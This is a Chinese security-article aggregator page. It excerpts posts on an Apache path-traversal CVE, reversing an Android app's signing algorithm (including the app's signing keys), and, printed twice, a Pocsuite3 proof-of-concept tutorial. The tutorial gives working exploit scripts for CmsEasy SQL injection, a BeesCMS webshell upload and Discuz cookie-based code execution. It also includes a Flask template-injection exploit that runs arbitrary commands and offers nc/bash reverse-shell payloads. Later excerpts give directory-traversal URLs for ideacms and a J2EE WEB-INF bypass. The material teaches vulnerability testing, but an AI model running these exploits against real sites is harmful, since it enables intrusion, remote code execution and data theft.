新洞速递(CVE-2021-41773) 安全文章

新洞速递(CVE-2021-41773)

DescriptionA flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.Apache Web Server Zero-Day Actively Exploited, Exposes Sensitive Data | ThreatpostApache Web Server Zero-Day Exposes Sensitive...
阅读全文
XX客户端APP签名分析之算法分析篇 移动安全

XX客户端APP签名分析之算法分析篇

前言 将脱壳后的dex文件在jadx打开,由于脱壳后会产生多个dex,因此先用脚本合并一下比较方便。当然最新版jadx支持增加文件,也可以直接添加。import os, syspath = r'xxxx'# 文件夹目录files = os.listdir(path)  out_path =r'xxxxx'  #路径s = for file in files:  # 遍历文件夹    if file.find("dex") > 0:  ## 查找dex 文件        sh = f'jadx -j 1 -r -d {out_path} {path}\{file}'        print(sh)        os.system(sh)`同时使用抓包软件开始对app进行抓包,对于移动端的app抓包,证书的安装一直是一个很繁琐的问题,在这里推荐一款Magisk的模块Move Certificates,可以很方便的将用户证书移动到系统层,实现https的抓包。这里主要的功能侧重点在bbsapi.domo.cn和class.domo.cn上,因为该app主要的功能点就是在这两个地址下。查看一下数据包的内容,可以看到path中是包含sign值的/newapi/live/square/live-count?noncestr=84140992&sign=47e714f977952ad75eb6eeb3165083dae93502b3&timestamp=1627008983764<目标就是要找到这个sign值的生成算法。首先到jad中进行代码定位,为了降低逆向难度,可以选择从noncestr入手,进行搜索可能会简单一点,当然这只能是经验之谈,一切还是要以实际分析情况为准。可以看一下如果搜索sign,会有多少结果。继续看noncestr,看到搜索到了14个相关代码,根据类名来看,选择一个最最有可能的先看一下。可以看到是有getSign函数在这个类下面的,采用直接hook这个函数也不是很现实,由于jadx的问题,是无法显示该函数下的代码,这个时候,可以采用直接hook该函数的系统加密函数的方法,来查看是否是直接采用了比如MD5,SHA1,Base64等等常规加密的方法,对于此,直接hook后查看输入和输出。编写frida脚本进行测试一下。update:appSignKey=ac6190d7dfaa77df726f0a82244d3eda68675ccd4e95de802f5042e91d15edc7bae3026d8f0fb2a8287446bb289563970264&noncestr=12520893&timestamp=1627023153533digest:e2931f94fdf5cbad61d95bf23b192841a12f1a8c可以看到上传数据的构成是appSignKey+noncestr和timestamp构成。多次抓包发现appSignKey是一个固定值(只是class.domo.cn下的固定值,该app不同的网址采用不同的Key值)并且结果跟抓包数据完全一致。这时候主要的问题就是找到使用的默认算法。可以看到第一个调用的函数就是java.security.MessageDigest.digest(Native Method),该类提供了消息摘要算法,如 MD5 或 SHA,的功能。因此可以模拟测试一下,看一下采用的是MD5还是SHA算法。测试发现采用的是SHA1算法。noncestr就是随机8位数字组成,每次可以采用上一次所生成的,或者是自己生成即可。noncestr算法还原。Random random=new Random();for(int i=0;i<8;i++){    str.append(random.nextInt(10));}int num=Integer.parseInt(str.toString());System.out.println(num);此外,对于bbsapi.domo.cn,它的update是appSignKey=Wj8BI3VUZ6BuojAkqzBM3HWHNHv08xdZEtaksbRg6snnuLsvivwa8IvR6PvQ76H0IQQsqkIsa5OKJtg6QcBMfCblMMywgZaA8co&noncestr=63606047&timestamp=1627023164959采用了不同的key值来进行拼接。总结 该app的签名算法还原后即为,key+noncestr+timestamp。之后进行SHA1加密,生成sign。最后附上frida hook代码    base64DecodeChars = new Array((-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1), (-1),...
阅读全文
利用 Pocsuite3 框架编写 poc 实战案例 安全文章

利用 Pocsuite3 框架编写 poc 实战案例

0x01 CmsEasy 5.5 UTF-8注入无框架pocimport requestsimport sysdef verify(url):    path = '/celive/live/header.php'    target = url+path    post = {        "xajax":"LiveMessage",        "xajaxargs":"1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select 'hello' from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"    }    try:        res = requests.post(target,post)        if 'hello' in res.text:            print("%s is vulnerable" % url)        else:            print("%s is not vulnerable" % url)    except Exception as e:        print('error!')if __name__ == '__main__':    args = sys.argv    if len(args) == 2:        url = args        verify(url)    else:        print("Usage: python %s url" % args)pocsuite3from pocsuite3.api import Output,POCBase,register_poc,requestsclass CmsEasy(POCBase):    vulID = '1000'    version = '1.0'    author =     vulDate = '2014'    createDate = '2020-11-20'    updateDate = '2020-11-20'    references = 'https://www.seebug.org/vuldb/ssvid-94004'    name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞'    appPowerLink = 'http://www.cmseasy.cn/'  # 漏洞产商主页    appName = 'CMSEasy'  # 漏洞应用名称    appVersion = '5.5'  # 漏洞影响版本    vulType = 'SQL Injection'  # 漏洞类型    desc = '''/celive/live/header.php存在post注入'''  # 在漏洞描述填写    samples =   # 测试成功网址    install_requires =   # PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给出的参考链接    pocDesc = '''PoC用法描述'''  # 在PoC用法描述填写    def _verify(self):        result = {}        target = self.url + '/celive/live/header.php'        payload = {            "xajax": "LiveMessage",            "xajaxargs": "1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select 'hello' from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"        }        res = requests.post(target,payload)        if 'hello' in str(res.content):            result = {}            result = target            result = payload        return self.parse_output(result)    def _attack(self):        return self._verify()    def parse_output(self,result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return resultregister_poc(CmsEasy)0x02 BeesCMS v4后台getshell无框架import requestsimport sys,redef verity(url):    if 'index.php' in url:        attack_url = url.replace('index.php','admin/upload.php')    else:        attack_url = url+'/admin/upload.php'    get_cookie = {        '_SESSION':'1',        '_SESSION':'1',        '_SESSION':'99999999999'    }    try:        res = requests.post(url,get_cookie)        cookie = res.cookies        if cookie:            print('成功获取cookie:%s' %cookie)            payload = {                'up':(                    'shell.php',                    '<?php phpinfo();?>',                    'image/png',                ),            }            attack_cookie = {'PHPSESSID':cookie}            res = requests.post(attack_url,cookies=attack_cookie,files=payload)            if '.php' in res.text:                print("%s is vulnerable" % url)                if 'img' in res.text:                    compile = re.compile(r'img/.*php')                    result = compile.findall(res.text)                    for i in result:                        print("上传测试路径为:%s"%i)            else:                print("%s is not vulnerable" % url)        else:            print('获取cookie失败')    except Exception as e:        print('error!')if __name__ == '__main__':    args = sys.argv    if len(args) == 2:        url = args        verity(url)    else:        print("python %s url nExample: python %s http://127.0.0.1" %(args,args))pocsuite3from pocsuite3.api import Output,POCBase,register_poc,requestsclass BeeCMS(POCBase):    vulID = '1001'    version = '1.0'    author =     vulDate = '2014'    createDate = '2020-11-20'    updateDate = '2020-11-20'    references = 'https://bbs.ichunqiu.com/thread-13977-1-1.html'    name = 'BeeCMS v4 后台上传getshell'    appPowerLink = 'http://www.beescms.com/'  # 漏洞产商主页    appName = 'BeeCMS'  # 漏洞应用名称    appVersion = 'v4'  # 漏洞影响版本    vulType = 'Upload'  # 漏洞类型    desc = '''/admin/upload.php任意文件上传'''  # 在漏洞描述填写    samples =   # 测试成功网址    install_requires =   # PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给出的参考链接    pocDesc = '''PoC用法描述'''  # 在PoC用法描述填写    def _verify(self):        result = {}        if 'index.php' in self.url:            attack_url = self.url.replace('index.php', 'admin/upload.php')        else:            attack_url = self.url + '/admin/upload.php'        #获取cookie        get_cookie = {            '_SESSION': '1',            '_SESSION': '1',            '_SESSION': '99999999999'        }        res = requests.post(self.url, get_cookie)        cookie = res.cookies        if cookie:            print('成功获取cookie:%s' % cookie)            payload = {                'up': (                    'shell.php',                    '<?php phpinfo();?>',                    'image/png',                ),            }            attack_cookie = {'PHPSESSID': cookie}            res = requests.post(attack_url, cookies=attack_cookie, files=payload)            if '.php' in res.text:                result = {}                result = attack_url                result = payload            return self.parse_output(result)        def _attack(self):            return self._verify()    def parse_output(self, result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return resultregister_poc(BeeCMS)0x03 Discuz 7.x 6.x rce找到任意一篇文章刷新bp抓包,将Cookie内的内容修改为:GLOBALS=/.*/eui; GLOBALS=phpinfo();无框架import requests,sysdef verify(url):    headers = {        'Cookie':'GLOBALS=/.*/eui; GLOBALS=phpinfo();'    }    res = requests.get(url,headers=headers)    print(res.text)    if 'phpinfo()' in res.text:        print("%s is vulnerable" % url)    else:        print("%s is not vulnerable" % url)if __name__ == '__main__':    args = sys.argv    if len(args) == 2:        url = args        verify(url)    else:        print("Usage:python %s url <任意一篇文章地址>" %args)pocsuite3from pocsuite3.api import Output,POCBase,register_poc,requestsclass Discuz(POCBase):    vulID = '1002'    version = '1.0'    author =     vulDate = '2010'    createDate = '2020-11-20'    updateDate = '2020-11-20'    name = 'Discuz 6.x 7.x rce (wooyun-2010-080723)'    appPowerLink = 'https://www.discuz.net/forum.php'  # 漏洞产商主页    appName = 'Discuz'  # 漏洞应用名称    appVersion = '6.x 7.x'  # 漏洞影响版本    vulType = 'RCE'  # 漏洞类型    desc = '''任意一篇文章处修改cookie为:GLOBALS=/.*/eui; GLOBALS=phpinfo();可以命令执行'''  # 在漏洞描述填写    samples =   # 测试成功网址    install_requires =   # PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给出的参考链接    pocDesc = '''-u 指定的是文章地址'''  # 在PoC用法描述填写    def _verify(self):        result = {}        payload = {            'Cookie': 'GLOBALS=/.*/eui; GLOBALS=phpinfo();'        }        res = requests.get(self.url, headers=payload)        print(res.text)        if 'phpinfo()' in res.text:            result = {}            result = self.url            result = payload        return self.parse_output(result)    def _attack(self):        return self._verify()    def parse_output(self, result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return resultregister_poc(Discuz)0x04 flask注入from flask import Flask, requestfrom jinja2 import Templateapp = Flask(__name__)@app.route("/")def index():    name = request.args.get('name','guest')    t = Template("Hello "+ name)    return t.render()if __name__ =="__main__":    app.run()存在漏洞 无框架import requests,sysdef verity(url):    path = '/?name='    payload = '{{22*22}}'    target = url+path+payload    res = requests.get(target)    if '484' in res.text:        print("%s is vulnerable" % url)    else:        print("%s is not vulnerable" % url)if __name__ == '__main__':    args = sys.argv    if len(args) == 2:        url = args        verity(url)    else:        print("Usage: python %s url" % args)pocsuite3 pocfrom pocsuite3.api import POCBase,register_poc,Output,requestsclass FlaskInjection(POCBase):    vulID = '1003'    version = '1.1'    author =     vulDate = '1.1'    createDate = '2020/11/21'    updateDate = '2020/11/21'    references =     name = 'flask-poc'    appPowerLink = 'flask'    appName = 'flask'    appVersion = 'flask'    desc = '''        flask注入    '''    samples =     def _verify(self):        result = {}        path = '/?name='        payload = '{{22*22}}'        target = self.url+path+payload        res = requests.get(target)        if res.status_code == 200 and '484' in res.text:            result = {}            result = self.url            result = payload        return self.parse_output(result)    def _attack(self):        return self._verify()    def parse_output(self,result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return resultregister_poc(FlaskInjection)pocsuite3 expfrom pocsuite3.api import POCBase,register_poc,Output,requests,OptDict,REVERSE_PAYLOADfrom collections import OrderedDictclass FlaskInjection(POCBase):    vulID = '1003'    version = '1.1'    author =     vulDate = '1.1'    createDate = '2020/11/21'    updateDate = '2020/11/21'    references =     name = 'flask-poc'    appPowerLink = 'flask'    appName = 'flask'    appVersion = 'flask'    desc = '''        flask注入    '''    samples =     def _options(self):        o = OrderedDict()        payload = {            'nc':REVERSE_PAYLOAD.NC,            'bash':REVERSE_PAYLOAD.BASH,        }        o = OptDict(selected='bash',default=payload)        return o    def _verify(self):        result = {}        path = '/?name='        payload = '{{22*22}}'        target = self.url+path+payload        res = requests.get(target)        if res.status_code == 200 and '484' in res.text:            result = {}            result = self.url            result = payload        return self.parse_output(result)    def _attack(self):        result = {}        path = '/?name='        url = self.url+path        cmd = self.get_option('command')        payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("' + cmd + '").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'        try:            res = requests.get(url=url+payload)            data = res.text            data = data.replace('n','').replace('r','')            print(data)            result = {}            result = url            result = payload        except Exception as e:            return        return self.parse_output(result)    def parse_output(self,result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return resultregister_poc(FlaskInjection)往 期 热 门(点击图片跳转)CVE-2021-35973:Netgear wac104 身份认证绕过yapi 远程命令执行漏洞分析404 StarLink Project 2.0 - Galaxy 第七期觉得不错点个“在看”哦 本文始发于微信公众号(Seebug漏洞平台):利用 Pocsuite3 框架编写 poc 实战案例
阅读全文
干货|利用pocsuite3框架编写poc实战案例 安全文章

干货|利用pocsuite3框架编写poc实战案例

0x01 CmsEasy 5.5 UTF-8注入无框架pocimport requestsimport sysdef verify(url):    path = '/celive/live/header.php'    target = url+path    post = {        "xajax":"LiveMessage",        "xajaxargs":"1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select 'hello' from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"    }    try:        res = requests.post(target,post)        if 'hello' in res.text:            print("%s is vulnerable" % url)        else:            print("%s is not vulnerable" % url)    except Exception as e:        print('error!')if __name__ == '__main__':    args = sys.argv    if len(args) == 2:        url = args        verify(url)    else:        print("Usage: python %s url" % args)pocsuite3from pocsuite3.api import Output,POCBase,register_poc,requestsclass CmsEasy(POCBase):    vulID = '1000'    version = '1.0'    author =     vulDate = '2014'    createDate = '2020-11-20'    updateDate = '2020-11-20'    references = 'https://www.seebug.org/vuldb/ssvid-94004'    name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞'    appPowerLink = 'http://www.cmseasy.cn/'  # 漏洞产商主页    appName = 'CMSEasy'  # 漏洞应用名称    appVersion = '5.5'  # 漏洞影响版本    vulType = 'SQL Injection'  # 漏洞类型    desc = '''/celive/live/header.php存在post注入'''  # 在漏洞描述填写    samples =   # 测试成功网址    install_requires =   # PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给出的参考链接    pocDesc = '''PoC用法描述'''  # 在PoC用法描述填写    def _verify(self):        result = {}        target = self.url + '/celive/live/header.php'        payload = {            "xajax": "LiveMessage",            "xajaxargs": "1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select 'hello' from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"        }        res = requests.post(target,payload)        if 'hello' in str(res.content):            result = {}            result = target            result = payload        return self.parse_output(result)    def _attack(self):        return self._verify()    def parse_output(self,result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return resultregister_poc(CmsEasy)0x02 BeesCMS v4后台getshell无框架import requestsimport sys,redef verity(url):    if 'index.php' in url:        attack_url = url.replace('index.php','admin/upload.php')    else:        attack_url = url+'/admin/upload.php'    get_cookie = {        '_SESSION':'1',        '_SESSION':'1',        '_SESSION':'99999999999'    }    try:        res = requests.post(url,get_cookie)        cookie = res.cookies        if cookie:            print('成功获取cookie:%s' %cookie)            payload = {                'up':(                    'shell.php',                    '<?php phpinfo();?>',                    'image/png',                ),            }            attack_cookie = {'PHPSESSID':cookie}            res = requests.post(attack_url,cookies=attack_cookie,files=payload)            if '.php' in res.text:                print("%s is vulnerable" % url)                if 'img' in res.text:                    compile = re.compile(r'img/.*php')                    result = compile.findall(res.text)                    for i in result:                        print("上传测试路径为:%s"%i)            else:                print("%s is not vulnerable" % url)        else:            print('获取cookie失败')    except Exception as e:        print('error!')if __name__ == '__main__':    args = sys.argv    if len(args) == 2:        url = args        verity(url)    else:        print("python %s url nExample: python %s http://127.0.0.1" %(args,args))pocsuite3from pocsuite3.api import Output,POCBase,register_poc,requestsclass BeeCMS(POCBase):    vulID = '1001'    version = '1.0'    author =     vulDate = '2014'    createDate = '2020-11-20'    updateDate = '2020-11-20'    references = 'https://bbs.ichunqiu.com/thread-13977-1-1.html'    name = 'BeeCMS v4 后台上传getshell'    appPowerLink = 'http://www.beescms.com/'  # 漏洞产商主页    appName = 'BeeCMS'  # 漏洞应用名称    appVersion = 'v4'  # 漏洞影响版本    vulType = 'Upload'  # 漏洞类型    desc = '''/admin/upload.php任意文件上传'''  # 在漏洞描述填写    samples =   # 测试成功网址    install_requires =   # PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给出的参考链接    pocDesc = '''PoC用法描述'''  # 在PoC用法描述填写    def _verify(self):        result = {}        if 'index.php' in self.url:            attack_url = self.url.replace('index.php', 'admin/upload.php')        else:            attack_url = self.url + '/admin/upload.php'        #获取cookie        get_cookie = {            '_SESSION': '1',            '_SESSION': '1',            '_SESSION': '99999999999'        }        res = requests.post(self.url, get_cookie)        cookie = res.cookies        if cookie:            print('成功获取cookie:%s' % cookie)            payload = {                'up': (                    'shell.php',                    '<?php phpinfo();?>',                    'image/png',                ),            }            attack_cookie = {'PHPSESSID': cookie}            res = requests.post(attack_url, cookies=attack_cookie, files=payload)            if '.php' in res.text:                result = {}                result = attack_url                result = payload            return self.parse_output(result)        def _attack(self):            return self._verify()    def parse_output(self, result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return resultregister_poc(BeeCMS)0x03 Discuz 7.x 6.x rce找到任意一篇文章刷新bp抓包,将Cookie内的内容修改为:GLOBALS=/.*/eui; GLOBALS=phpinfo();无框架import requests,sysdef verify(url):    headers = {        'Cookie':'GLOBALS=/.*/eui; GLOBALS=phpinfo();'    }    res = requests.get(url,headers=headers)    print(res.text)    if 'phpinfo()' in res.text:        print("%s is vulnerable" % url)    else:        print("%s is not vulnerable" % url)if __name__ == '__main__':    args = sys.argv    if len(args) == 2:        url = args        verify(url)    else:        print("Usage:python %s url <任意一篇文章地址>" %args)pocsuite3from pocsuite3.api import Output,POCBase,register_poc,requestsclass Discuz(POCBase):    vulID = '1002'    version = '1.0'    author =     vulDate = '2010'    createDate = '2020-11-20'    updateDate = '2020-11-20'    name = 'Discuz 6.x 7.x rce (wooyun-2010-080723)'    appPowerLink = 'https://www.discuz.net/forum.php'  # 漏洞产商主页    appName = 'Discuz'  # 漏洞应用名称    appVersion = '6.x 7.x'  # 漏洞影响版本    vulType = 'RCE'  # 漏洞类型    desc = '''任意一篇文章处修改cookie为:GLOBALS=/.*/eui; GLOBALS=phpinfo();可以命令执行'''  # 在漏洞描述填写    samples =   # 测试成功网址    install_requires =   # PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给出的参考链接    pocDesc = '''-u 指定的是文章地址'''  # 在PoC用法描述填写    def _verify(self):        result = {}        payload = {            'Cookie': 'GLOBALS=/.*/eui; GLOBALS=phpinfo();'        }        res = requests.get(self.url, headers=payload)        print(res.text)        if 'phpinfo()' in res.text:            result = {}            result = self.url            result = payload        return self.parse_output(result)    def _attack(self):        return self._verify()    def parse_output(self, result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return resultregister_poc(Discuz)0x04 flask注入from flask import Flask, requestfrom jinja2 import Templateapp = Flask(__name__)@app.route("/")def index():    name = request.args.get('name','guest')    t = Template("Hello "+ name)    return t.render()if __name__ =="__main__":    app.run()存在漏洞 无框架import requests,sysdef verity(url):    path = '/?name='    payload = '{{22*22}}'    target = url+path+payload    res = requests.get(target)    if '484' in res.text:        print("%s is vulnerable" % url)    else:        print("%s is not vulnerable" % url)if __name__ == '__main__':    args = sys.argv    if len(args) == 2:        url = args        verity(url)    else:        print("Usage: python %s url" % args)pocsuite3 pocfrom pocsuite3.api import POCBase,register_poc,Output,requestsclass FlaskInjection(POCBase):    vulID = '1003'    version = '1.1'    author =     vulDate = '1.1'    createDate = '2020/11/21'    updateDate = '2020/11/21'    references =     name = 'flask-poc'    appPowerLink = 'flask'    appName = 'flask'    appVersion = 'flask'    desc = '''        flask注入    '''    samples =     def _verify(self):        result = {}        path = '/?name='        payload = '{{22*22}}'        target = self.url+path+payload        res = requests.get(target)        if res.status_code == 200 and '484' in res.text:            result = {}            result = self.url            result = payload        return self.parse_output(result)    def _attack(self):        return self._verify()    def parse_output(self,result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return resultregister_poc(FlaskInjection)pocsuite3 expfrom pocsuite3.api import POCBase,register_poc,Output,requests,OptDict,REVERSE_PAYLOADfrom collections import OrderedDictclass FlaskInjection(POCBase):    vulID = '1003'    version = '1.1'    author =     vulDate = '1.1'    createDate = '2020/11/21'    updateDate = '2020/11/21'    references =     name = 'flask-poc'    appPowerLink = 'flask'    appName = 'flask'    appVersion = 'flask'    desc = '''        flask注入    '''    samples =     def _options(self):        o = OrderedDict()        payload = {            'nc':REVERSE_PAYLOAD.NC,            'bash':REVERSE_PAYLOAD.BASH,        }        o = OptDict(selected='bash',default=payload)        return o    def _verify(self):        result = {}        path = '/?name='        payload = '{{22*22}}'        target = self.url+path+payload        res = requests.get(target)        if res.status_code == 200 and '484' in res.text:            result = {}            result = self.url            result = payload        return self.parse_output(result)    def _attack(self):        result = {}        path = '/?name='        url = self.url+path        cmd = self.get_option('command')        payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("' + cmd + '").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'        try:            res = requests.get(url=url+payload)            data = res.text            data = data.replace('n','').replace('r','')            print(data)            result = {}            result = url            result = payload        except Exception as e:            return        return self.parse_output(result)    def parse_output(self,result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return resultregister_poc(FlaskInjection)原创投稿作者:buffer 未经授权,禁止转载 推荐阅读觉得不错点个“赞”、“在看”,支持下小编 本文始发于微信公众号(乌雲安全):干货|利用pocsuite3框架编写poc实战案例
阅读全文
Php安全新闻早8点(2011-11-21 星期一) lcx

Php安全新闻早8点(2011-11-21 星期一)

    http://hi.baidu.com/micropoor '2011-11-21 星期一 '插入篇---asp篇 '程序员的思维 'Micropoor.asp代码片段 '略   dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath   dim dirTemplate : dirTemplate="../Upload"   dim path : path=getForm("path","get") : if isNul(path) then path= dirTemplate   if left(path,9)"../Upload" then alert "只允许编辑Upload目录","admin_upfile.asp" : die "" '略 %>   '我们的思维 http://hi.baidu.com/micropoor/Micropoor.asp?path=../Upload/../../     结论:跳目录真的很有趣哦.文章来源于lcx.cc:Php安全新闻早8点(2011-11-21 星期一)相关推荐: HIP-HOP创始人中国西北农民的史上最强HIP-HOP说唱 HIP-HOP创始人 牛叉就是牛叉,很早的视频了。今天又翻出来了。牛叉。俩字文章来源于lcx.cc:HIP-HOP创始人相关推荐: 看上一个妹子,只知道这么多该怎么继续往下社工看上一个妹子,只知道这么多该怎么继…
阅读全文
【Asp】ideacms 文章管理系统跳目录、上传等多处漏洞 lcx

【Asp】ideacms 文章管理系统跳目录、上传等多处漏洞

'adminadmin_upfile.asp: 'adminadmin_upfile.asp '略     dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath     dim dirTemplate : dirTemplate="../Upload"     dim path : path=getForm("path","get") : if isNul(path) then path= dirTemplate     if left(path,9)"../Upload" then  alert "只允许编辑Upload目录","admin_upfile.asp" : die "" '略 %> 判断问题,利用方法: http://127.0.0.1/admin/admin_upfile.asp?path=../Upload/../../ 'adminadmin_template.asp: 'adminadmin_template.asp checkPower '略     dim folderList,folderNum,i,folderAttr,fileList,fileNum,j,fileAttr,folder,filedir,filename,lastLevelPath     dim dirTemplate : dirTemplate="../template"     dim path : path=getForm("path","get") : if isNul(path) then path= dirTemplate     if left(path,11)"../template" then  alert "只允许编辑template目录","admin_template.asp" : die "" '略 %> 利用方法: http://127.0.0.1/admin/admin_template.asp?action=edit&filedir=../template/../robots.txt Shell 篇: '/admin/upload.asp: '/admin/upload.asp '略     attachdir="/"+sitePath+"upload"'上传文件保存路径,结尾不要带/     dirtype=2'1:按天存入目录 2:按月存入目录 3:按扩展名存目录  建议使用按天存     maxattachsize=2097152'最大上传大小,默认是2M     upext="txt,rar,zip,jpg,jpeg,gif,png,swf,wmv,avi,wma,mp3,mid"'上传扩展名      '略                 if upfile.isErr=3 then                     err="上传文件扩展名必需为:"+upext                 else                     err=upfile.ErrMessage    ...
阅读全文
j2ee 外部参数引用实现转向功能造成安全目录访问绕过的安全问题 lcx

j2ee 外部参数引用实现转向功能造成安全目录访问绕过的安全问题

j2ee 外部参数引用(URL)实现转向(forward)功能造成安全目录访问绕过的安全问题! //最近发的一个漏洞,让我产生一个疑惑。今天刚好实现了一下URL跳转,发现问题产生的原因其实很简单。 首先看这一段Servlet的URL跳转实现代码(jsp及框架部分的举例省略,你懂的!): String path=request.getParameter("path"); RequestDispatcher rd = request.getRequestDispatcher(path); rd.forward(request, response); 附带Servlet获得转向(转发)RequestDispatcher对象两种方式: javax.servlet.http.HttpServletRequest.RequestDispatcher() javax.servlet.RequestDispatcher.getRequestDispatcher() 我们可以用实现带参数的跳转功能,如图: 看看转向的描述:forward重定向是在容器内部实现的同一个Web应用程序的重定向,所以forward方法只能重定向到同一个Web应用程序中的一个资源。 注意到它是在服务器端同一个应用(本应用)进行重定向。所以即使有外部任意参数输入,并不能实现一个严格意义的所谓“文件包含”漏洞,因为Servlet是有安全限制的,如图: //ps:这里不是说操作系统中文件路径该xxx.jsp实际不存在啊!而是Servlet只在本应用中找不到该文件路径,造成异常java.lang.NullPointerException 但是它能够这样,如图(这是WEB-INF目录的第二次安全问题了,受保护的东西都是“惹眼”的!): 再说原因,再看WEB-INF目录介绍:http://baike.baidu.com/view/1745468.htm WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。 注意到:“只有服务端可以访问的目录。”然后匹配一下上面“转向”的描述,forward访问转发是在服务器端完成的,所以客户端浏览器就能够通过http方式访问到WEB-INF安全目录(所以如果没有WEB-INF目录,基本是没有任何危害的!),就这么简单! 危害参考(同等危害):j2ee分层结构在某些场景下的缺陷及相关漏洞的详细描述后的定义 (但两个问题产生的原因是有本质区别的,前者是多个WEB服务器安全标准不一致使用不当导致的安全问题;此处是自身机制引用不当造成的安全问题!) 目测的实际案例:WooYun: 百度某应用任意文件读取问题! (当时,觉得疑惑是因为在j2ee开发中,结合框架的使用习惯,很少会用一个外部参数去实现URL转向的(当然我发现的实际案例中也很多确实是用外部参数进行转向!),主要自己也没这么做过!) 解决方法: //所以在使用j2ee实现外部参数URL跳转时多注意,可能很容易发生这个问题! response.sendRedirect(request.getContextPath()+path); 尽量使用response重定向。 或者限制参数中的WEB-INF路径! (根据实际的业务逻辑情况给出处理吧!)。 /* 那为什么response重定向跳转不导致该安全问题了? 因为:sendRedirect方法是告诉客户端重定向到任意的URL,浏览器再去访问这个地址,转向并不是在服务器端。(详细:请查看Servlet对象转向与重定向的区别。)! */ 附带在实际开发中另一个功能实现中可能大量使用的demo,标签资源文件包含: 1.jsp文件源代码部分: " frameborder="0" scrolling="no"  > source 文章来源于lcx.cc:j2ee 外部参数引用实现转向功能造成安全目录访问绕过的安全问题相关推荐: 【漏洞】EXCMS 卓越内容管理系统 - 0day    作者:心灵     以下版本没测试,测试的是最新版本。在公布前几小时没有通知官方,^_^,哈哈。     为什么说过程精彩呢?看完就明白!因为这个漏洞原因非一般!同时映射出中国软件行业的悲哀!!!     经典对白,看代码: 后台登录文件:adminM…
阅读全文
ASP获取客户端、服务器相关信息 lcx

ASP获取客户端、服务器相关信息

